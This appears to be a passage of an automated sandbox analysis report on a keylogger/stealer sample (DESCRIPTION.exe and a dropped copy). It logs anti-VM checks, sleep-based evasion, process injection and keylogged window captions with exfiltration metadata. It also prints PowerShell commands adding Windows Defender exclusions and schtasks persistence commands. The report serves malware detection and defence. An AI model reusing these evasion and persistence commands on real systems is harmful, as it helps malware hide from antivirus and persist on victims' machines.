                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOX

                      Malware Analysis System Evasion

                      barindex
                      Yara detected AntiVM3
                      Source: Yara matchFile source: Process Memory Space: DESCRIPTION.exe PID: 180, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: OdoiXyuXnaQN.exe PID: 5480, type: MEMORYSTR
                      Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: 9F0000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: 2480000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: 4480000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: 8930000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: 71D0000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: 9930000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: A930000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: AE10000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: BE10000 memory reserve | memory write watchJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: 1110000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: 2AC0000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: 4AC0000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: 89A0000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: 99A0000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: 9BA0000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: ABA0000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: AF90000 memory reserve | memory write watch
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory allocated: BF90000 memory reserve | memory write watch
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7169Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 911Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6233Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 365Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWindow / User API: foregroundWindowGot 1777Jump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWindow / User API: foregroundWindowGot 1774
                      Source: C:\Users\user\Desktop\DESCRIPTION.exe TID: 5356Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1484Thread sleep count: 7169 > 30Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6744Thread sleep count: 911 > 30Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4508Thread sleep time: -3689348814741908s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4676Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3160Thread sleep time: -5534023222112862s >= -30000sJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4936Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe TID: 356Thread sleep time: -922337203685477s >= -30000s
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeThread delayed: delay time: 922337203685477
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\TemplatesJump to behavior
                      Source: WebData.9.drBinary or memory string: ms.portal.azure.comVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: discord.comVMware20,11696494690f
                      Source: WebData.9.drBinary or memory string: AMC password management pageVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: outlook.office.comVMware20,11696494690s
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
                      Source: WebData.9.drBinary or memory string: interactivebrokers.comVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: netportal.hdfcbank.comVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: interactivebrokers.co.inVMware20,11696494690d
                      Source: WebData.9.drBinary or memory string: account.microsoft.com/profileVMware20,11696494690u
                      Source: WebData.9.drBinary or memory string: outlook.office365.comVMware20,11696494690t
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: WebData.9.drBinary or memory string: www.interactivebrokers.comVMware20,11696494690}
                      Source: WebData.9.drBinary or memory string: microsoft.visualstudio.comVMware20,11696494690x
                      Source: WebData.9.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
                      Source: WebData.9.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
                      Source: WebData.9.drBinary or memory string: trackpan.utiitsl.comVMware20,11696494690h
                      Source: WebData.9.drBinary or memory string: tasks.office.comVMware20,11696494690o
                      Source: WebData.9.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: dev.azure.comVMware20,11696494690j
                      Source: WebData.9.drBinary or memory string: global block list test formVMware20,11696494690
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWh=
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715156422.0000000000409000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: vmtools
                      Source: WebData.9.drBinary or memory string: turbotax.intuit.comVMware20,11696494690t
                      Source: WebData.9.drBinary or memory string: bankofamerica.comVMware20,11696494690x
                      Source: WebData.9.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690}
                      Source: WebData.9.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWstring
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - HKVMware20,11696494690]
                      Source: WebData.9.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690x
                      Source: WebData.9.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
                      Source: WebData.9.drBinary or memory string: secure.bankofamerica.comVMware20,11696494690|UE
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory allocated: page read and write | page guardJump to behavior

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Adds a directory exclusion to Windows Defender
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe"
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"Jump to behavior
                      Injects a PE file into a foreign processes
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeMemory written: C:\Users\user\Desktop\DESCRIPTION.exe base: 400000 value starts with: 4D5AJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMemory written: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe base: 400000 value starts with: 4D5A
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Users\user\Desktop\DESCRIPTION.exe "C:\Users\user\Desktop\DESCRIPTION.exe"Jump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, KeyDataYRTmqAXe.txt.9.drBinary or memory string: [07:21:26]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerF0C2F13ko2
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managertxt2F13ko2
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:12]<<Program Manager>>
                      Source: KeyDataGlLPGWOk.txt.9.drBinary or memory string: [07:22:35]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:20]<<gQ","file_unique_id":"AgADRRkAAjjDOFA","file_size":363},"caption":"DC-KL:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":25,"length":12,"type":"url"}]}}-99b9-fca7ff59c113--4]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:20]<<Program Managere_id":"AgADOBkAAjjDOFA","file_size":363},"caption":"DC-KL:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":25,"length":12,"type":"url"}]}}-99b9-fca7ff59c113--4]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:13]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:36]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:23]<<Program 23]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 59c113--f5-b1ed-4060-99b9-fca7ff59c113--:22]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:57]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:08]<<Program Manager>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:37]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:06]<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :22:11]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:01]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:58]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:13]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:18]<<Program Manager>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:59]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:10]<<Program Manager>>
